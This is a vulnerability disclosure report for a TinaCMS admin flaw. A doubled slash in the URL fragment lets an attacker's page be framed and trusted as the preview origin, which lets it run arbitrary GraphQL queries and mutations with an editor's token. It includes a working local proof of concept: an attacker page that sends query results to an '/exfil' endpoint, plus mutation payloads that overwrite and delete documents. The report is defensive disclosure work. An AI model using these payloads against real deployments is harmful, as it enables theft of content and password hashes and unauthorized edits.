### Summary
The TinaCMS admin builds its preview `<iframe src>` from the `/~/*` hash-router splat without checking that the value stays same-origin. A fragment with a doubled slash (`#/~//attacker.example/p`) becomes the protocol-relative URL `//attacker.example/p`, so the admin frames an external site. That same unvalidated string derives `expectedOrigin`, the only trust anchor for the admin↔preview `postMessage` channel, so the attacker's frame is treated as trusted: it can submit any GraphQL operation, which the admin executes with the signed-in editor's token and posts back to the attacker's origin.
One link, opened by a logged-in editor, gives an unauthenticated remote attacker arbitrary read and write access to the site's content API as that editor.
### Details
Root cause — the router splat becomes the frame source with no same-origin check:
```
packages/tinacms/src/admin/index.tsx:16 HashRouter as Router,
packages/tinacms/src/admin/index.tsx:329 path='/~/*'
packages/tinacms/src/admin/index.tsx:173 const [url, setURL] = React.useState(`/${params['*']}`);
packages/tinacms/src/admin/index.tsx:176 const paramURL = `/${params['*']}`;
packages/@tinacms/app/src/preview.tsx:24 src={props.url}
```
The leading `/` is meant to force a relative path, but `
[email protected]` returns the splat with its own leading slash for `/~//x`, producing `//x`. The iframe has no `sandbox` attribute and the admin bundle ships no CSP.
The trust anchor is then computed from that same value:
```
packages/@tinacms/app/src/lib/graphql-reducer.ts:209-212 getExpectedPreviewOrigin(url)
packages/@tinacms/app/src/lib/preview-origin.ts:22 return new URL(url, baseOrigin || undefined).origin;
packages/@tinacms/app/src/lib/preview-origin.ts:43-46 event.origin !== expectedOrigin -> reject
```
Both guards pass for the attacker: `event.origin` *is* `expectedOrigin`, and `event.source` *is* the frame the admin itself loaded.
`PreviewInner`'s URL-correction poll (`packages/tinacms/src/admin/index.tsx:189-200`) does not recover the frame: reading `ref.current.contentWindow.location.href` across origins throws an uncaught `SecurityError`, so `setReportedURL` never fires and no corrective `navigate()` happens. The PoC below includes that effect verbatim and the attack still completes.
Sink — the attacker's GraphQL string reaches the authenticated client, and the result goes back to the attacker:
```
packages/@tinacms/app/src/lib/graphql-reducer.ts:613-624 'open' handler; zod validates types only, not query content
packages/@tinacms/app/src/lib/graphql-reducer.ts:973-978 cms.api.tina.request(expandedQuery, { variables })
packages/@tinacms/app/src/lib/graphql-reducer.ts:497-505 postMessageToPreview(..., expectedOrigin)
```
`expandQuery` (`packages/@tinacms/app/src/lib/expand-query.ts:3-18`) is operation-agnostic, so mutations pass through unchanged.
Default-enabled: `packages/@tinacms/app/src/App.tsx:70` always passes `preview={Preview}`, and `packages/tinacms/src/admin/index.tsx:327` registers `/~/*` whenever `preview` is truthy — so the route exists in every `tinacms build` output and in `tinacms dev`.
Incomplete-fix note: `
[email protected]` / `@tinacms/
[email protected]` (PR #7056, `c491fc5`) added the sender-side origin check, but never validated the URL that check compares against.
Affected-range basis, stated plainly: I tested only `
[email protected]` / `@tinacms/
[email protected]` (commit `0d38acf`). The ranges below are given as `<=` because the vulnerable lines are byte-identical across every commit available to me — a 123-commit shallow clone, earliest `8a86ffa` (2026-06-26), which predates the `3.9.3` hardening release — but I did not fetch tags or test earlier releases, so the true lower bound is undetermined. Please narrow it from your own history.
Suggested fix: normalise the splat to a same-origin path before it becomes `url` (reject a leading `/` or `\`), and have `getExpectedPreviewOrigin` refuse any origin other than `window.location.origin`.
### PoC
Safe, local, non-destructive. Two loopback origins stand in for the site and the attacker; no traffic leaves the machine and no content API is contacted. The victim page uses the repository's `preview-origin.ts` byte-for-byte and reproduces `PreviewInner`/`Preview` line-for-line from the cited files; `cms.api.tina.request` is stubbed to return a marker so no real backend is touched.
Environment used: Linux, Node v22.23.1, Google Chrome (`/usr/bin/google-chrome`) driven by `
[email protected]`.
**Setup**
```bash
git clone https://github.com/tinacms/tinacms.git tinacms-poc
cd tinacms-poc && git checkout 0d38acfdd23143384b8787d5d772b713fa7af163
REPO=$PWD
mkdir -p /tmp/tina-poc/victim /tmp/tina-poc/attacker && cd /tmp/tina-poc
npm init -y >/dev/null
npm i --ignore-scripts
[email protected] [email protected] [email protected] [email protected] [email protected]
cp "$REPO/packages/@tinacms/app/src/lib/preview-origin.ts" ./preview-origin.ts
```
`victim/admin.tsx` — `PreviewInner` from `packages/tinacms/src/admin/index.tsx:170-210`, `Preview` from `packages/@tinacms/app/src/preview.tsx:10-26`, and the four `graphql-reducer.ts` steps (`:209-212`, `:548-556`, `:613-624` + `:973-978`, `:497-505`):
```tsx
import React from 'react';
import { createRoot } from 'react-dom/client';
import { HashRouter as Router, Route, Routes, useNavigate, useParams } from 'react-router-dom';
import { getExpectedPreviewOrigin, isFromTrustedPreviewOrigin, postMessageToPreview } from '../preview-origin';
const log = (m: string, x?: unknown) => console.log('[victim]', x === undefined ? m : `${m} ${JSON.stringify(x)}`);
// Stand-in for cms.api.tina.request (graphql-reducer.ts:977): in the real admin
// this is an authenticated call to the content API with the editor's token.
async function tinaRequest(query: string) {
log('cms.api.tina.request() called with attacker query', query);
return { data: { __POC_MARKER__: 'SIMULATED-AUTHENTICATED-CONTENT-API-RESPONSE' } };
}
function useGraphQLReducer(iframe: React.MutableRefObject<HTMLIFrameElement | null>, url: string) {
const expectedOrigin = React.useMemo(() => getExpectedPreviewOrigin(url), [url]); // :209-212
React.useEffect(() => {
log('expectedOrigin derived from preview url', { url, expectedOrigin });
(window as any).__poc_expectedOrigin = expectedOrigin;
}, [expectedOrigin, url]);
const handleMessage = React.useCallback(async (event: MessageEvent<any>) => {
if (!isFromTrustedPreviewOrigin({ event, expectedOrigin, peerWindow: iframe.current?.contentWindow })) return; // :548-556
if (event.data.type === 'open') { // :613-624
log('ACCEPTED "open" message from', event.origin);
const expandedData = await tinaRequest(event.data.query); // :973-978
postMessageToPreview(iframe.current?.contentWindow,
{ type: 'updateData', id: event.data.id, data: expandedData.data }, expectedOrigin); // :497-505
log('posted query result to', expectedOrigin);
}
}, [expectedOrigin]);
React.useEffect(() => {
window.addEventListener('message', handleMessage);
return () => window.removeEventListener('message', handleMessage);
}, [handleMessage]);
}
const Preview = (props: { url: string; iframeRef: React.MutableRefObject<HTMLIFrameElement | null> }) => {
useGraphQLReducer(props.iframeRef, props.url);
return <iframe data-test='tina-iframe' id='tina-iframe' ref={props.iframeRef}
className='h-full w-full bg-white' src={props.url} />; // preview.tsx:24
};
const PreviewInner = ({ preview }: { preview: any }) => { // admin/index.tsx:170-210
const params = useParams();
const navigate = useNavigate();
const [url, setURL] = React.useState(`/${params['*']}`);
const [reportedURL, setReportedURL] = React.useState<string | null>(null);
const ref = React.useRef<HTMLIFrameElement>(null);
const paramURL = `/${params['*']}`;
React.useEffect(() => { if (reportedURL !== paramURL && paramURL) setURL(paramURL); }, [paramURL]);
React.useEffect(() => { if ((reportedURL !== url || reportedURL !== paramURL) && reportedURL) navigate(`/~${reportedURL}`); }, [reportedURL]);
React.useEffect(() => { // admin/index.tsx:189-200
setInterval(() => {
if (ref.current) {
const url = new URL(ref.current.contentWindow?.location.href || '');
if (url.origin === 'null') { return; }
const href = url.href.replace(url.origin, '');
setReportedURL(href);
}
}, 100);
}, [ref.current]);
React.useEffect(() => {
log('iframe src computed from router splat', { "params['*']": params['*'], url });
(window as any).__poc_iframeSrc = url;
}, [url]);
const PreviewCmp = preview;
return <div><PreviewCmp url={url} iframeRef={ref} /></div>;
};
createRoot(document.getElementById('root')!).render(
<Router>
<Routes>
<Route path='/~/*' element={<PreviewInner preview={Preview} />} /> {/* admin/index.tsx:329 */}
<Route path='/' element={<div>admin dashboard</div>} />
</Routes>
</Router>
);
```
`victim/index.html`:
```html
<!doctype html><html><head><title>TinaCMS admin (repro)</title></head>
<body><div id="root"></div><script type="module" src="/admin.js"></script></body></html>
```
`attacker/evil.html`:
```html
<!doctype html><html><body>
<h1>attacker-controlled page framed by the TinaCMS admin</h1>
<script>
parent.postMessage({ type: 'open', id: 'poc-1',
query: 'query { collection(collection: "authentication") { documents { edges { node { ... on Document { _values } } } } } }',
variables: {}, data: {} }, '*');
window.addEventListener('message', (e) => {
if (e.data && e.data.type === 'updateData') {
fetch('/exfil?data=' + encodeURIComponent(JSON.stringify(e.data.data)), { mode: 'no-cors' });
}
});
</script></body></html>
```
`run.cjs` — serves both origins, logs every attacker-server request, and runs a control fragment and the crafted fragment:
```js
const http=require('http'),fs=require('fs'),path=require('path'),{chromium}=require('playwright');
const VICTIM_PORT=8801, ATTACKER_PORT=8802, HERE=__dirname, attackerHits=[];
function serve(dir,port,onHit){const s=http.createServer((req,res)=>{const u=new URL(req.url,`http://127.0.0.1:${port}`);
if(onHit)onHit(req.method+' '+u.pathname+u.search);
if(u.pathname.startsWith('/exfil')){res.writeHead(204).end();return;}
const f=path.join(dir,u.pathname==='/'?'/index.html':u.pathname);
if(!f.startsWith(dir)||!fs.existsSync(f)){res.writeHead(404).end('nf');return;}
res.writeHead(200,{'content-type':f.endsWith('.js')?'text/javascript':'text/html; charset=utf-8'});res.end(fs.readFileSync(f));});
return new Promise(r=>s.listen(port,'127.0.0.1',()=>r(s)));}
(async()=>{const v=await serve(path.join(HERE,'victim'),VICTIM_PORT);
const a=await serve(path.join(HERE,'attacker'),ATTACKER_PORT,h=>attackerHits.push(h));
const browser=await chromium.launch({executablePath:'/usr/bin/google-chrome'});const results={};
for(const scenario of ['control','attack']){attackerHits.length=0;
const ctx=await browser.newContext();const page=await ctx.newPage();const logs=[];
page.on('console',m=>logs.push(m.text()));
const hash=scenario==='control'?'#/~/posts/hello-world':`#/~//127.0.0.1:${ATTACKER_PORT}/evil.html`;
await page.goto(`http://127.0.0.1:${VICTIM_PORT}/index.html${hash}`);await page.waitForTimeout(2500);
results[scenario]={hash,
iframeSrc:await page.evaluate(()=>window.__poc_iframeSrc),
expectedOriginTrustedByAdmin:await page.evaluate(()=>window.__poc_expectedOrigin),
framesLoaded:page.frames().map(f=>f.url()),
attackerServerHits:[...attackerHits],
victimConsole:logs.filter(l=>l.startsWith('[victim]'))};
await ctx.close();}
await browser.close();v.close();a.close();console.log(JSON.stringify(results,null,2));})();
```
**Run**
```bash
cd /tmp/tina-poc
npx esbuild victim/admin.tsx --bundle --outfile=victim/admin.js --format=esm \
--loader:.tsx=tsx --define:process.env.NODE_ENV='"production"'
node run.cjs
```
**Observed output (captured verbatim)**
```json
{
"control": {
"hash": "#/~/posts/hello-world",
"iframeSrc": "/posts/hello-world",
"expectedOriginTrustedByAdmin": "http://127.0.0.1:8801",
"framesLoaded": [
"http://127.0.0.1:8801/index.html#/~/posts/hello-world",
"http://127.0.0.1:8801/posts/hello-world"
],
"attackerServerHits": [],
"victimConsole": [
"[victim] expectedOrigin derived from preview url {\"url\":\"/posts/hello-world\",\"expectedOrigin\":\"http://127.0.0.1:8801\"}",
"[victim] iframe src computed from router splat {\"params['*']\":\"posts/hello-world\",\"url\":\"/posts/hello-world\"}"
]
},
"attack": {
"hash": "#/~//127.0.0.1:8802/evil.html",
"iframeSrc": "//127.0.0.1:8802/evil.html",
"expectedOriginTrustedByAdmin": "http://127.0.0.1:8802",
"framesLoaded": [
"http://127.0.0.1:8801/index.html#/~//127.0.0.1:8802/evil.html",
"http://127.0.0.1:8802/evil.html"
],
"attackerServerHits": [
"GET /evil.html",
"GET /exfil?data=%7B%22__POC_MARKER__%22%3A%22SIMULATED-AUTHENTICATED-CONTENT-API-RESPONSE%22%7D"
],
"victimConsole": [
"[victim] expectedOrigin derived from preview url {\"url\":\"//127.0.0.1:8802/evil.html\",\"expectedOrigin\":\"http://127.0.0.1:8802\"}",
"[victim] iframe src computed from router splat {\"params['*']\":\"/127.0.0.1:8802/evil.html\",\"url\":\"//127.0.0.1:8802/evil.html\"}",
"[victim] ACCEPTED \"open\" message from \"http://127.0.0.1:8802\"",
"[victim] cms.api.tina.request() called with attacker query \"query { collection(collection: \\\"authentication\\\") { documents { edges { node { ... on Document { _values } } } } } }\"",
"[victim] posted query result to \"http://127.0.0.1:8802\""
]
}
}
```
Expected vulnerable output — in `attack`: `iframeSrc` protocol-relative, `expectedOriginTrustedByAdmin` equal to the **attacker's** origin, a frame served by the attacker, and both `GET /evil.html` and `GET /exfil?data=...` on the attacker server. All held.
Control — `#/~/posts/hello-world` keeps the frame same-origin, keeps `expectedOrigin` on the victim origin, and produces zero attacker hits. That is what the crafted fragment should also do once fixed.
**Supporting check — attacker mutations survive `expandQuery` and validate against a real Tina schema**
```bash
mkdir -p /tmp/tina-expand && cd /tmp/tina-expand
npm init -y >/dev/null && npm i --ignore-scripts
[email protected] [email protected]
cp "$REPO/packages/@tinacms/app/src/lib/expand-query.ts" ./expand-query.ts
cat > t.ts <<'EOF'
import * as G from 'graphql'; import fs from 'fs'; import { expandQuery } from './expand-query';
const schema = G.buildSchema(fs.readFileSync(process.env.SCHEMA!, 'utf-8'));
const ops: Record<string,string> = {
READ: `query { movieConnection { edges { node { _values } } } }`,
MUTATE_UPDATE: `mutation { updateDocument(collection: "movie", relativePath: "movie1.json", params: {movie: {title: "pwned"}}) { __typename } }`,
MUTATE_DELETE: `mutation { deleteDocument(collection: "movie", relativePath: "movie1.json") { __typename } }`,
};
for (const [n, op] of Object.entries(ops)) {
const printed = G.print(expandQuery({ schema, documentNode: G.parse(op) }));
const errs = G.validate(schema, G.parse(printed));
console.log(`--- ${n} ---`);
console.log('survives expandQuery + validates against the real Tina schema:', errs.length === 0);
console.log('operation kept:', (G.parse(printed).definitions[0] as any).operation);
}
EOF
npx esbuild t.ts --bundle --platform=node --outfile=t.cjs --format=cjs >/dev/null
SCHEMA="$REPO/packages/@tinacms/graphql/src/spec/movies-with-datalayer/.tina/__generated__/schema.gql" node t.cjs
```
Observed output:
```
--- READ ---
survives expandQuery + validates against the real Tina schema: true
operation kept: query
--- MUTATE_UPDATE ---
survives expandQuery + validates against the real Tina schema: true
operation kept: mutation
--- MUTATE_DELETE ---
survives expandQuery + validates against the real Tina schema: true
operation kept: mutation
```
**Supporting check — router splat behaviour**
```bash
mkdir -p /tmp/tina-rr && cd /tmp/tina-rr && npm init -y >/dev/null
npm i --ignore-scripts
[email protected] [email protected] [email protected]
cat > t.cjs <<'EOF'
const { matchPath } = require('react-router-dom');
for (const p of ['/~/posts/hello','/~//evil.example','/~/%2F%2Fevil.example']) {
const s = matchPath({ path: '/~/*' }, p)?.params['*'];
console.log(JSON.stringify(p), '=> params["*"] =', JSON.stringify(s), '=> url =', JSON.stringify('/' + s));
}
EOF
node t.cjs
```
Observed output:
```
"/~/posts/hello" => params["*"] = "posts/hello" => url = "/posts/hello"
"/~//evil.example" => params["*"] = "/evil.example" => url = "//evil.example"
"/~/%2F%2Fevil.example" => params["*"] = "//evil.example" => url = "///evil.example"
```
**Scope of the proof.** Executed and observed here: the protocol-relative `url`, the cross-origin frame load, the attacker origin becoming `expectedOrigin`, the repository's real `isFromTrustedPreviewOrigin` accepting the attacker's message, the attacker's operation string reaching the request function, the response being delivered to the attacker's origin, and attacker mutations validating against a repository-provided generated schema. Not executed: a call against a live TinaCloud or self-hosted backend — `cms.api.tina.request` was stubbed deliberately so the PoC contacts no external service and writes no data.
**Cleanup**
```bash
rm -rf /tmp/tina-poc /tmp/tina-expand /tmp/tina-rr
```
All three PoCs were re-run after this report was drafted; the outputs above are those runs.
### Impact
Origin validation error leading to a confused-deputy abuse of the content API. An unauthenticated remote attacker needs only to get a signed-in TinaCMS editor to open one link — the payload lives in the URL fragment, so it never reaches the server or its logs. The attacker then reads anything the editor can read (including, on self-hosted setups, the `authentication` collection holding PBKDF2 password hashes) and performs any mutation the editor can perform (`updateDocument`, `createDocument`, `deleteDocument`), with results delivered to the attacker's own origin. Two boundaries are crossed: the browser same-origin policy, and the content API's authorization.
Impacted: every deployment serving the TinaCMS admin bundle (`tinacms build` output or `tinacms dev`). No configuration disables the `/~/*` route.
### Credits
- Thai Son Dinh from VinSOC Labs (R&D)